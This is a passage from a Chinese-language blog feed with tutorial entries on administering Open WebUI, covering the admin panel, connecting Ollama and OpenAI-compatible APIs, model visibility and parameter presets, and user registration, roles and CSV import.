3：设置可见性</strong></p><p>在模型编辑页面，你会看到以下选项：</p><table><thead><tr><th>选项</th><th>说明</th></tr></thead><tbody><tr><td><strong>公开（Public）</strong></td><td>所有用户都能看到和使用</td></tr><tr><td><strong>私有（Private）</strong></td><td>只有管理员能看到</td></tr><tr><td><strong>指定用户</strong></td><td>只有选中的用户能看到</td></tr><tr><td><strong>指定权限组</strong></td><td>只有选中的权限组能看到</td></tr></tbody></table><p>选择合适的可见性，然后点击保存。</p><p><strong>实际应用场景</strong>：</p><ul><li>将昂贵的 GPT-4 模型设为 “指定用户”，只给核心团队成员使用</li><li>将实验性模型设为 “私有”，只有管理员测试</li><li>将免费的本地模型设为 “公开”，所有人都能使用</li></ul><h3 id="模型白名单">模型白名单</h3><p>如果你连接了多个 API，可能会拉取到很多模型。你可以使用白名单功能，只显示需要的模型。</p><p><strong>步骤 1：进入设置</strong></p><p>管理员面板 → 设置 → 模型（Models）</p><p><strong>步骤 2：启用白名单</strong></p><p>找到 “模型白名单” 选项，启用它。</p><p><strong>步骤 3：添加模型</strong></p><p>在白名单中添加你想要显示的模型 ID，每行一个：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gpt-4</span><br><span class="line">gpt-3.5-turbo</span><br><span class="line">qwen2.5:7b</span><br><span class="line">deepseek-chat</span><br></pre></td></tr></table></figure><p>保存后，只有白名单中的模型会显示给用户。</p><h3 id="模型标签与排序">模型标签与排序</h3><p>为了让用户更容易找到合适的模型，你可以给模型添加标签和自定义排序。</p><p><strong>添加标签</strong>：</p><p>在模型编辑页面，找到 “标签（Tags）” 字段，添加标签：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">推荐, 快速, 免费</span><br></pre></td></tr></table></figure><p>或</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">高级, 付费, GPT-4</span><br></pre></td></tr></table></figure><p>用户在选择模型时，可以通过标签筛选。</p><p><strong>自定义排序</strong>：</p><p>在设置 → 模型页面，你可以拖动模型来调整顺序。排在前面的模型会优先显示给用户。</p><p><strong>最佳实践</strong>：</p><ul><li>将最常用的模型排在最前面</li><li>将免费模型和付费模型用标签区分</li><li>将不同能力的模型分类（如 “对话”、“编程”、“翻译”）</li></ul><h3 id="模型参数预设">模型参数预设</h3><p>你可以为每个模型设置默认参数，用户使用时会自动应用这些参数。</p><p><strong>步骤 1：编辑模型</strong></p><p>设置 → 模型 → 点击模型的编辑按钮</p><p><strong>步骤 2：配置参数</strong></p><p>在 “模型参数” 区域，设置以下参数：</p><table><thead><tr><th>参数</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><strong>Temperature</strong></td><td>控制输出的随机性，0-2</td><td>0.7（平衡）</td></tr><tr><td><strong>Top P</strong></td><td>核采样参数，0-1</td><td>0.9</td></tr><tr><td><strong>Max Tokens</strong></td><td>最大输出长度</td><td>2048</td></tr><tr><td><strong>Context Length</strong></td><td>上下文窗口大小</td><td>4096</td></tr><tr><td><strong>Frequency Penalty</strong></td><td>降低重复内容，-2 到 2</td><td>0</td></tr><tr><td><strong>Presence Penalty</strong></td><td>鼓励新话题，-2 到 2</td><td>0</td></tr></tbody></table><p><strong>参数说明</strong>：</p><p><strong>Temperature</strong>：</p><ul><li>0.1-0.3：输出非常确定，适合事实性任务（如翻译、总结）</li><li>0.7-0.9：平衡创造性和准确性，适合日常对话</li><li>1.0-2.0：输出更有创造性，适合创意写作</li></ul><p><strong>Top P</strong>：</p><ul><li>0.9：推荐值，保持输出质量</li><li>0.95：更多样化的输出</li><li>1.0：完全随机（不推荐）</li></ul><p><strong>Context Length</strong>：</p><ul><li>对于 Ollama 模型，默认是 2048，这太小了</li><li>建议设置为 8192 或更高，特别是使用 RAG 功能时</li><li>注意：更大的上下文会消耗更多内存</li></ul><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/3036.html</id>
    <link href="https://blog.prorisehub.com/posts/3036.html"/>
    <published>2026-02-27T04:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-2-模型连接与管理">3.2. 模型连接与管理</h2>
<p>模型连接是 Open WebUI 最核心的配置。没有模型，Open WebUI 就无法工作。</p>
<h3]]>
    </summary>
    <title>OpenWebUi-模型连接与管理</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-1-管理员面板导航">3.1. 管理员面板导航</h2><h3 id="进入管理员面板">进入管理员面板</h3><p>登录 Open WebUI 后，点击左下角的用户名区域，在弹出菜单中选择 “管理员面板”（Admin Panel）。</p><p>如果你看不到这个选项，说明你的账号不是管理员。记住，只有第一个注册的账号才会自动成为管理员。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090523992.png" alt="image-20260211090523992"></p><h3 id="管理员面板结构">管理员面板结构</h3><p>管理员面板的顶部有 <strong>四个主标签页</strong>，每个标签页左侧有各自的子菜单：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090544115.png" alt="image-20260211090544115"></p><h4 id="用户">用户</h4><p>管理所有用户和权限组。</p><table><thead><tr><th>子菜单</th><th>功能</th></tr></thead><tbody><tr><td><strong>概述</strong></td><td>用户列表，显示角色、名称、邮箱、最后在线时间、创建时间。支持搜索和添加用户（右上角 <code>+</code> 按钮）</td></tr><tr><td><strong>权限组</strong></td><td>创建权限组，将用户分组并批量分配权限。默认有一个&quot;默认权限&quot;组，用于所有&quot;用户&quot;角色的用户</td></tr></tbody></table><h4 id="竞技场评估">竞技场评估</h4><p>模型对比评估功能，让用户盲测不同模型的回答质量。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090658945.png" alt="image-20260211090658945"></p><table><thead><tr><th>子菜单</th><th>功能</th></tr></thead><tbody><tr><td><strong>排行榜</strong></td><td>显示所有模型的排名（RK）、评价、获胜/落败次数</td></tr><tr><td><strong>反馈</strong></td><td>查看用户对模型回答的反馈记录</td></tr></tbody></table><h4 id="函数">函数</h4><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090714357.png" alt="image-20260211090714357"></p><p>管理 Open WebUI 的内置扩展函数（Functions），这是官方推荐的扩展方式。</p><ul><li>顶部有 <strong>导入</strong> 和 <strong>+ 新函数</strong> 按钮</li><li>支持按类型（全部）和标签筛选</li><li>底部有 <strong>“由 Open WebUI 社区开发”</strong> 入口，可以发现和下载社区函数</li></ul><h4 id="设置">设置</h4><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090730293.png" alt="image-20260211090730293"></p><p>系统全局配置，左侧子菜单最为丰富：</p><table><thead><tr><th>子菜单</th><th>功能</th><th>对应本章节</th></tr></thead><tbody><tr><td><strong>通用</strong></td><td>版本信息、身份验证（默认用户角色、注册开关）、管理员邮箱、待激活用户界面配置</td><td>3.3</td></tr><tr><td><strong>外部连接</strong></td><td>Ollama API 和 OpenAI API 的连接配置</td><td>3.2</td></tr><tr><td><strong>模型</strong></td><td>默认模型、任务模型、模型白名单等</td><td>3.2</td></tr><tr><td><strong>竞技场评估</strong></td><td>竞技场模式的全局设置</td><td>—</td></tr><tr><td><strong>外部工具</strong></td><td>外部工具集成配置</td><td>—</td></tr><tr><td><strong>Documents</strong></td><td>RAG 文档功能配置，包括向量数据库、Embedding 模型、检索参数</td><td>3.4</td></tr><tr><td><strong>联网搜索</strong></td><td>网络搜索引擎配置（SearXNG、Google PSE、Brave 等）</td><td>3.7</td></tr><tr><td><strong>Code Execution</strong></td><td>代码执行环境配置</td><td>—</td></tr><tr><td><strong>界面</strong></td><td>UI 界面定制</td><td>3.10</td></tr><tr><td><strong>语音</strong></td><td>STT（语音转文字）和 TTS（文字转语音）配置</td><td>3.6</td></tr><tr><td><strong>Images</strong></td><td>图像生成引擎配置（DALL-E、ComfyUI 等）</td><td>3.5</td></tr><tr><td><strong>Pipelines</strong></td><td>Pipelines 插件服务连接配置</td><td>3.8</td></tr><tr><td><strong>数据库</strong></td><td>数据导入导出、系统维护</td><td>—</td></tr></tbody></table><h3 id="配置优先级说明">配置优先级说明</h3><p>Open WebUI 的配置有两个来源：</p><p><strong>环境变量</strong>：在启动容器或 Python 程序时设置的变量（如 <code>OLLAMA_BASE_URL</code>）。</p><p><strong>数据库配置</strong>：在管理员面板中设置的配置，保存在数据库中。</p><p><strong>重要规则</strong>：对于标记为 <code>PersistentConfig</code> 的配置项，数据库中的配置优先级高于环境变量。这意味着：</p><ul><li>首次启动时，环境变量会被写入数据库</li><li>之后修改环境变量不会生效，除非删除数据库中的配置</li><li>如果要强制使用环境变量，需要在管理员面板中清除对应配置</li></ul><p>这个设计是为了避免配置混乱，确保配置的一致性。</p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/16811.html</id>
    <link href="https://blog.prorisehub.com/posts/16811.html"/>
    <published>2026-02-27T03:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-1-管理员面板导航">3.1. 管理员面板导航</h2>
<h3 id="进入管理员面板">进入管理员面板</h3>
<p>登录 Open WebUI 后，点击左下角的用户名区域，在弹出菜单中选择]]>
    </summary>
    <title>OpenWebUi-管理员面板导航</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>第三章. 管理员完整配置指南</h1><p>在上一章中，我们成功在本地部署了 Open WebUI，并完成了基础的启动验证。现在，作为管理员，你需要对系统进行完整的配置，让它真正为你和你的团队服务。</p><p>本章将带你深入管理员面板，完成从模型连接、用户管理到高级功能的全部配置。在开始之前，请确保你已经以管理员身份登录 Open WebUI。</p><hr><h2 id="3-1-管理员面板导航">3.1. 管理员面板导航</h2><h3 id="进入管理员面板">进入管理员面板</h3><p>登录 Open WebUI 后，点击左下角的用户名区域，在弹出菜单中选择 “管理员面板”（Admin Panel）。</p><p>如果你看不到这个选项，说明你的账号不是管理员。记住，只有第一个注册的账号才会自动成为管理员。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090523992.png" alt="image-20260211090523992"></p><h3 id="管理员面板结构">管理员面板结构</h3><p>管理员面板的顶部有 <strong>四个主标签页</strong>，每个标签页左侧有各自的子菜单：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090544115.png" alt="image-20260211090544115"></p><h4 id="用户">用户</h4><p>管理所有用户和权限组。</p><table><thead><tr><th>子菜单</th><th>功能</th></tr></thead><tbody><tr><td><strong>概述</strong></td><td>用户列表，显示角色、名称、邮箱、最后在线时间、创建时间。支持搜索和添加用户（右上角 <code>+</code> 按钮）</td></tr><tr><td><strong>权限组</strong></td><td>创建权限组，将用户分组并批量分配权限。默认有一个&quot;默认权限&quot;组，用于所有&quot;用户&quot;角色的用户</td></tr></tbody></table><h4 id="竞技场评估">竞技场评估</h4><p>模型对比评估功能，让用户盲测不同模型的回答质量。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090658945.png" alt="image-20260211090658945"></p><table><thead><tr><th>子菜单</th><th>功能</th></tr></thead><tbody><tr><td><strong>排行榜</strong></td><td>显示所有模型的排名（RK）、评价、获胜/落败次数</td></tr><tr><td><strong>反馈</strong></td><td>查看用户对模型回答的反馈记录</td></tr></tbody></table><h4 id="函数">函数</h4><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090714357.png" alt="image-20260211090714357"></p><p>管理 Open WebUI 的内置扩展函数（Functions），这是官方推荐的扩展方式。</p><ul><li>顶部有 <strong>导入</strong> 和 <strong>+ 新函数</strong> 按钮</li><li>支持按类型（全部）和标签筛选</li><li>底部有 <strong>“由 Open WebUI 社区开发”</strong> 入口，可以发现和下载社区函数</li></ul><h4 id="设置">设置</h4><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090730293.png" alt="image-20260211090730293"></p><p>系统全局配置，左侧子菜单最为丰富：</p><table><thead><tr><th>子菜单</th><th>功能</th><th>对应本章节</th></tr></thead><tbody><tr><td><strong>通用</strong></td><td>版本信息、身份验证（默认用户角色、注册开关）、管理员邮箱、待激活用户界面配置</td><td>3.3</td></tr><tr><td><strong>外部连接</strong></td><td>Ollama API 和 OpenAI API 的连接配置</td><td>3.2</td></tr><tr><td><strong>模型</strong></td><td>默认模型、任务模型、模型白名单等</td><td>3.2</td></tr><tr><td><strong>竞技场评估</strong></td><td>竞技场模式的全局设置</td><td>—</td></tr><tr><td><strong>外部工具</strong></td><td>外部工具集成配置</td><td>—</td></tr><tr><td><strong>Documents</strong></td><td>RAG 文档功能配置，包括向量数据库、Embedding 模型、检索参数</td><td>3.4</td></tr><tr><td><strong>联网搜索</strong></td><td>网络搜索引擎配置（SearXNG、Google PSE、Brave 等）</td><td>3.7</td></tr><tr><td><strong>Code Execution</strong></td><td>代码执行环境配置</td><td>—</td></tr><tr><td><strong>界面</strong></td><td>UI 界面定制</td><td>3.10</td></tr><tr><td><strong>语音</strong></td><td>STT（语音转文字）和 TTS（文字转语音）配置</td><td>3.6</td></tr><tr><td><strong>Images</strong></td><td>图像生成引擎配置（DALL-E、ComfyUI 等）</td><td>3.5</td></tr><tr><td><strong>Pipelines</strong></td><td>Pipelines 插件服务连接配置</td><td>3.8</td></tr><tr><td><strong>数据库</strong></td><td>数据导入导出、系统维护</td><td>—</td></tr></tbody></table><h3 id="配置优先级说明">配置优先级说明</h3><p>Open WebUI 的配置有两个来源：</p><p><strong>环境变量</strong>：在启动容器或 Python 程序时设置的变量（如 <code>OLLAMA_BASE_URL</code>）。</p><p><strong>数据库配置</strong>：在管理员面板中设置的配置，保存在数据库中。</p><p><strong>重要规则</strong>：对于标记为 <code>PersistentConfig</code> 的配置项，数据库中的配置优先级高于环境变量。这意味着：</p><ul><li>首次启动时，环境变量会被写入数据库</li><li>之后修改环境变量不会生效，除非删除数据库中的配置</li><li>如果要强制使用环境变量，需要在管理员面板中清除对应配置</li></ul><p>这个设计是为了避免配置混乱，确保配置的一致性。</p><hr><h2 id="3-2-模型连接与管理">3.2. 模型连接与管理</h2><p>模型连接是 Open WebUI 最核心的配置。没有模型，Open WebUI 就无法工作。</p><h3 id="连接本地-Ollama">连接本地 Ollama</h3><p>如果你在本地运行了 Ollama，需要在 Open WebUI 中配置连接。</p><p><strong>步骤 1：进入连接设置</strong></p><p>管理员面板 → 设置 → 外部连接（Connections）</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090849150.png" alt="image-20260211090849150"></p><p><strong>步骤 2：配置 Ollama API URL</strong></p><p>在 “Ollama API URL” 字段中填入：</p><table><thead><tr><th>部署方式</th><th>URL</th></tr></thead><tbody><tr><td>Docker 部署（Ollama 在主机）</td><td><code>http://host.docker.internal:11434</code></td></tr><tr><td>Docker Compose（Ollama 在容器）</td><td><code>http://ollama:11434</code></td></tr><tr><td>Python 安装（Ollama 在主机）</td><td><code>http://localhost:11434</code></td></tr></tbody></table><p><strong>步骤 3：验证连接</strong></p><p>点击 URL 输入框右侧的刷新按钮（🔄）。</p><p>如果连接成功，下方会显示 “连接成功” 的提示，并且会自动拉取 Ollama 中的模型列表。</p><p><strong>步骤 4：配置多个 Ollama 实例（可选）</strong></p><p>如果你有多台服务器运行 Ollama，可以添加多个连接。Open WebUI 会自动进行负载均衡。</p><p>点击 “添加 Ollama 实例” 按钮，填入新的 URL，例如：</p><p><a href="http://192.168.1.100:11434">http://192.168.1.100:11434</a><br><a href="http://192.168.1.101:11434">http://192.168.1.101:11434</a></p><p>这样，当用户发起请求时，Open WebUI 会自动选择负载较低的实例。</p><h3 id="连接-OpenAI-API">连接 OpenAI API</h3><p>如果你想使用 OpenAI 的 GPT 模型，需要配置 OpenAI API。</p><p><strong>步骤 1：获取 API 密钥</strong></p><p>访问 OpenAI 官网：<a href="https://platform.openai.com/api-keys">https://platform.openai.com/api-keys</a></p><p>登录后，点击 “Create new secret key” 创建一个新的 API 密钥。</p><p><strong>重要</strong>：API 密钥只会显示一次，请妥善保存。</p><p><strong>步骤 2：在 Open WebUI 中配置</strong></p><p>管理员面板 → 设置 → 外部连接 → OpenAI</p><table><thead><tr><th>字段</th><th>值</th><th>说明</th></tr></thead><tbody><tr><td><strong>API Base URL</strong></td><td><code>https://api.openai.com/v1</code></td><td>OpenAI 官方 API 地址</td></tr><tr><td><strong>API Key</strong></td><td><code>sk-...</code></td><td>你的 API 密钥</td></tr></tbody></table><p><strong>步骤 3：验证连接</strong></p><p>点击刷新按钮，如果连接成功，会自动拉取可用的模型列表（如 gpt-4、gpt-3.5-turbo 等）。</p><p><strong>步骤 4：配置代理（如果需要）</strong></p><p>如果你的网络无法直接访问 OpenAI，可以配置代理：</p><p>在 Docker 部署中，添加环境变量：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">HTTP_PROXY=http://your-proxy:port</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">HTTPS_PROXY=http://your-proxy:port</span></span><br></pre></td></tr></table></figure><p>或者使用国内的 OpenAI API 中转服务（需要自行寻找可靠的服务商）。</p><h3 id="连接其他兼容-API">连接其他兼容 API</h3><p>Open WebUI 支持任何兼容 OpenAI API 格式的服务，包括：</p><table><thead><tr><th>服务商</th><th>API Base URL 示例</th><th>说明</th></tr></thead><tbody><tr><td><strong>Azure OpenAI</strong></td><td><code>https://your-resource.openai.azure.com/</code></td><td>需要额外配置 API 版本</td></tr><tr><td><strong>Anthropic Claude</strong></td><td><code>https://api.anthropic.com/v1</code></td><td>需要 Claude API 密钥</td></tr><tr><td><strong>Google Gemini</strong></td><td>通过兼容层</td><td>需要使用 LiteLLM 等工具转换</td></tr><tr><td><strong>DeepSeek</strong></td><td><code>https://api.deepseek.com/v1</code></td><td>国内可直接访问</td></tr><tr><td><strong>Groq</strong></td><td><code>https://api.groq.com/openai/v1</code></td><td>速度极快的推理服务</td></tr><tr><td><strong>本地 vLLM</strong></td><td><code>http://localhost:8000/v1</code></td><td>自建推理服务</td></tr></tbody></table><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → 外部连接 → OpenAI → 点击 “+” 添加新连接</p><p>填写：</p><ul><li><strong>名称</strong>：给这个连接起个名字（如 “DeepSeek”）</li><li><strong>API Base URL</strong>：服务商的 API 地址</li><li><strong>API Key</strong>：对应的 API 密钥</li></ul><p><strong>Azure OpenAI 特殊配置</strong>：</p><p>Azure OpenAI 需要额外配置 API 版本和部署名称。在 API Base URL 中包含这些信息：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://your-resource.openai.azure.com/openai/deployments/your-deployment-name?api-version=2024-02-15-preview</span><br></pre></td></tr></table></figure><h3 id="模型可见性与权限控制">模型可见性与权限控制</h3><p>默认情况下，所有用户都能看到所有模型。但在团队使用场景中，你可能希望控制哪些用户能访问哪些模型。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211204338312.png" alt="image-20260211204338312"></p><p><strong>步骤 1：进入模型设置</strong></p><p>管理员面板 → 设置 → 模型（Models）</p><p><strong>步骤 2：编辑模型</strong></p><p>找到你想要控制的模型，点击右侧的编辑按钮（✏️）。</p><p><strong>步骤 3：设置可见性</strong></p><p>在模型编辑页面，你会看到以下选项：</p><table><thead><tr><th>选项</th><th>说明</th></tr></thead><tbody><tr><td><strong>公开（Public）</strong></td><td>所有用户都能看到和使用</td></tr><tr><td><strong>私有（Private）</strong></td><td>只有管理员能看到</td></tr><tr><td><strong>指定用户</strong></td><td>只有选中的用户能看到</td></tr><tr><td><strong>指定权限组</strong></td><td>只有选中的权限组能看到</td></tr></tbody></table><p>选择合适的可见性，然后点击保存。</p><p><strong>实际应用场景</strong>：</p><ul><li>将昂贵的 GPT-4 模型设为 “指定用户”，只给核心团队成员使用</li><li>将实验性模型设为 “私有”，只有管理员测试</li><li>将免费的本地模型设为 “公开”，所有人都能使用</li></ul><h3 id="模型白名单">模型白名单</h3><p>如果你连接了多个 API，可能会拉取到很多模型。你可以使用白名单功能，只显示需要的模型。</p><p><strong>步骤 1：进入设置</strong></p><p>管理员面板 → 设置 → 模型（Models）</p><p><strong>步骤 2：启用白名单</strong></p><p>找到 “模型白名单” 选项，启用它。</p><p><strong>步骤 3：添加模型</strong></p><p>在白名单中添加你想要显示的模型 ID，每行一个：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gpt-4</span><br><span class="line">gpt-3.5-turbo</span><br><span class="line">qwen2.5:7b</span><br><span class="line">deepseek-chat</span><br></pre></td></tr></table></figure><p>保存后，只有白名单中的模型会显示给用户。</p><h3 id="模型标签与排序">模型标签与排序</h3><p>为了让用户更容易找到合适的模型，你可以给模型添加标签和自定义排序。</p><p><strong>添加标签</strong>：</p><p>在模型编辑页面，找到 “标签（Tags）” 字段，添加标签：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">推荐, 快速, 免费</span><br></pre></td></tr></table></figure><p>或</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">高级, 付费, GPT-4</span><br></pre></td></tr></table></figure><p>用户在选择模型时，可以通过标签筛选。</p><p><strong>自定义排序</strong>：</p><p>在设置 → 模型页面，你可以拖动模型来调整顺序。排在前面的模型会优先显示给用户。</p><p><strong>最佳实践</strong>：</p><ul><li>将最常用的模型排在最前面</li><li>将免费模型和付费模型用标签区分</li><li>将不同能力的模型分类（如 “对话”、“编程”、“翻译”）</li></ul><h3 id="模型参数预设">模型参数预设</h3><p>你可以为每个模型设置默认参数，用户使用时会自动应用这些参数。</p><p><strong>步骤 1：编辑模型</strong></p><p>设置 → 模型 → 点击模型的编辑按钮</p><p><strong>步骤 2：配置参数</strong></p><p>在 “模型参数” 区域，设置以下参数：</p><table><thead><tr><th>参数</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><strong>Temperature</strong></td><td>控制输出的随机性，0-2</td><td>0.7（平衡）</td></tr><tr><td><strong>Top P</strong></td><td>核采样参数，0-1</td><td>0.9</td></tr><tr><td><strong>Max Tokens</strong></td><td>最大输出长度</td><td>2048</td></tr><tr><td><strong>Context Length</strong></td><td>上下文窗口大小</td><td>4096</td></tr><tr><td><strong>Frequency Penalty</strong></td><td>降低重复内容，-2 到 2</td><td>0</td></tr><tr><td><strong>Presence Penalty</strong></td><td>鼓励新话题，-2 到 2</td><td>0</td></tr></tbody></table><p><strong>参数说明</strong>：</p><p><strong>Temperature</strong>：</p><ul><li>0.1-0.3：输出非常确定，适合事实性任务（如翻译、总结）</li><li>0.7-0.9：平衡创造性和准确性，适合日常对话</li><li>1.0-2.0：输出更有创造性，适合创意写作</li></ul><p><strong>Top P</strong>：</p><ul><li>0.9：推荐值，保持输出质量</li><li>0.95：更多样化的输出</li><li>1.0：完全随机（不推荐）</li></ul><p><strong>Context Length</strong>：</p><ul><li>对于 Ollama 模型，默认是 2048，这太小了</li><li>建议设置为 8192 或更高，特别是使用 RAG 功能时</li><li>注意：更大的上下文会消耗更多内存</li></ul><hr><h2 id="3-3-用户与权限管理">3.3. 用户与权限管理</h2><p>Open WebUI 提供了完善的多用户管理功能，适合团队协作使用。</p><h3 id="用户注册与审批流程">用户注册与审批流程</h3><p><strong>默认行为</strong>：</p><ul><li>第一个注册的用户自动成为管理员</li><li>后续注册的用户状态为 “待激活”</li><li>管理员需要手动激活用户</li></ul><p><strong>配置注册开关</strong>：</p><p>管理员面板 → 设置 → 通用 → 身份验证</p><p>找到 “允许新用户注册” 开关：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092217799.png" alt="image-20260213092217799"></p><table><thead><tr><th>状态</th><th>说明</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>开启</strong></td><td>任何人都可以注册，新用户角色由&quot;默认用户角色&quot;决定</td><td>小团队、内网环境</td></tr><tr><td><strong>关闭</strong></td><td>禁止注册，只能由管理员手动添加用户</td><td>严格控制的企业环境</td></tr></tbody></table><p><strong>配置默认用户角色</strong>：</p><p>在同一页面，找到 “默认用户角色” 下拉选择：</p><table><thead><tr><th>角色</th><th>说明</th></tr></thead><tbody><tr><td><strong>待激活</strong></td><td>注册后无法使用系统，需要管理员手动激活（默认值）</td></tr><tr><td><strong>用户</strong></td><td>注册后直接可以使用系统</td></tr><tr><td><strong>管理员</strong></td><td>注册后直接成为管理员（不推荐）</td></tr></tbody></table><p><strong>配置默认权限组</strong>：</p><p>你还可以设置 “默认权限组”，新注册的用户会自动加入该权限组，继承组的权限配置。</p><p>如果你的团队成员都是可信的，可以将默认角色设为 “用户”，这样注册后就能直接使用，无需审批。</p><h3 id="手动添加用户">手动添加用户</h3><p>如果你关闭了注册功能，或者想要批量添加用户，可以使用手动添加功能。</p><p><strong>步骤 1：进入用户管理</strong></p><p>管理员面板 → 用户（Users）</p><p><strong>步骤 2：添加单个用户</strong></p><p>点击右上角的 “添加用户” 按钮，填写信息：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092242263.png" alt="image-20260213092242263"></p><table><thead><tr><th>字段</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><strong>邮箱</strong></td><td>用户登录邮箱</td><td><a href="mailto:user@example.com">user@example.com</a></td></tr><tr><td><strong>用户名</strong></td><td>显示名称</td><td>张三</td></tr><tr><td><strong>密码</strong></td><td>初始密码</td><td>建议生成随机密码</td></tr><tr><td><strong>角色</strong></td><td>用户角色</td><td>User</td></tr></tbody></table><p>点击 “创建” 完成添加。</p><p><strong>步骤 3：通知用户</strong></p><p>将登录信息（邮箱和密码）发送给用户，建议用户首次登录后立即修改密码。</p><h3 id="批量导入用户（CSV）">批量导入用户（CSV）</h3><p>如果需要添加大量用户，可以使用 CSV 批量导入功能。</p><p><strong>步骤 1：准备 CSV 文件</strong></p><p>创建一个 CSV 文件，格式如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">email,name,password,role</span><br><span class="line">user1@example.com,用户1,password123,user</span><br><span class="line">user2@example.com,用户2,password456,user</span><br><span class="line">user3@example.com,用户3,password789,admin</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li>第一行是表头，必须包含这四个字段</li><li>role 可以是 <code>user</code>、<code>admin</code> 或 <code>pending</code></li><li>密码建议使用随机生成的强密码</li></ul><p><strong>步骤 2：导入</strong></p><p>管理员面板 → 用户 → 点击 “导入用户” 按钮</p><p>选择你准备好的 CSV 文件，点击上传。</p><p>系统会显示导入结果，包括成功和失败的记录。</p><h3 id="用户角色体系">用户角色体系</h3><p>Open WebUI 有三种用户角色：</p><table><thead><tr><th>角色</th><th>权限</th><th>适用对象</th></tr></thead><tbody><tr><td><strong>管理员</strong></td><td>完全控制权限，可以管理所有设置、用户、模型</td><td>系统管理员、技术负责人</td></tr><tr><td><strong>用户</strong></td><td>可以使用系统，创建对话，上传文档，但不能修改系统设置</td><td>普通团队成员</td></tr><tr><td><strong>待激活</strong></td><td>无法使用系统，等待管理员激活</td><td>新注册用户</td></tr></tbody></table><p><strong>修改用户角色</strong>：</p><p>管理员面板 → 用户 → 找到目标用户 → 点击角色下拉菜单 → 选择新角色</p><h3 